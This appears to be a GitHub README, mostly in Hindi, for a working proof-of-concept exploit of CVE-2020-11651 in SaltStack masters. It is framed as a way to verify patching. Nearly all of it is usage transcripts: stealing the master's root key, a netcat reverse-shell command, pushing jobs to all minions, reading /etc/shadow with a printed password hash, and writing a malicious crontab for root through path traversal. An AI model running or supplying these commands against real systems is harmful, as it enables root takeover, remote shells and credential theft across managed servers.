hardsoftsecurity/cve-2020-11651-pocरिपॉजिटरी जिसमें CVE-2020-11651 का एक्सप्लॉइट शामिल है जिसे पायथन के नवीनतम संस्करणों के साथ काम करने के लिए अद्यतन किया गया है।
यह रिपॉजिटरी CVE-2020-11651 के लिए एक एक्सप्लॉइट रखती है जिसे पायथन के नवीनतम संस्करणों के साथ काम करने और कनेक्शनों में त्रुटियों को संभालने के लिए अपडेट किया गया है।
यह प्रारंभिक चेक स्क्रिप्ट पर आधारित एक प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट है। इसका उपयोग यह सत्यापित करने के लिए करें कि आपने अपने Salt मास्टर सर्वर को आवश्यक फिक्स वाले रिलीज में सफलतापूर्वक अपडेट किया है।
F-Secure Labs को उनके अनुसंधान और रिपोर्टिंग के लिए धन्यवाद।
वर्तमान में इस स्क्रिप्ट का उपयोग मास्टर और सभी जुड़े मिनियन पर फ़ाइलसिस्टम एक्सेस और कमांड शेड्यूलिंग के लिए किया जा सकता है। इन शक्तियों का बुद्धिमानी से उपयोग करें!
डिफ़ॉल्ट ऑपरेशन (बिना तर्क के) दिए गए मास्टर के लिए रूट कुंजी प्राप्त करना है:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
root@kalimah:~/salt#
मास्टर पर मनमाना कमांड निष्पादित करना:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
[+] Successfully scheduled job: 20200504153851746472
root@kalimah:~/salt#
वही, लेकिन सभी मिनियन पर:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester, is this what you want? Hit ^C to abort.
[+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
[+] Successfully submitted job to all minions.
root@kalimah:~/salt#
फ़ाइलों को इस प्रकार पढ़ा जा सकता है:
root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] Attemping to read /etc/shadow from 192.168.115.130
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
फ़ाइलों को --upload-src और --upload-dest का उपयोग करके अपलोड किया जा सकता है। ध्यान दें कि गंतव्य एक सापेक्ष पथ होना चाहिए:
root@kalimah:~/salt# python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] Destination path must be relative
[+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
[ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root
pip3 install salt)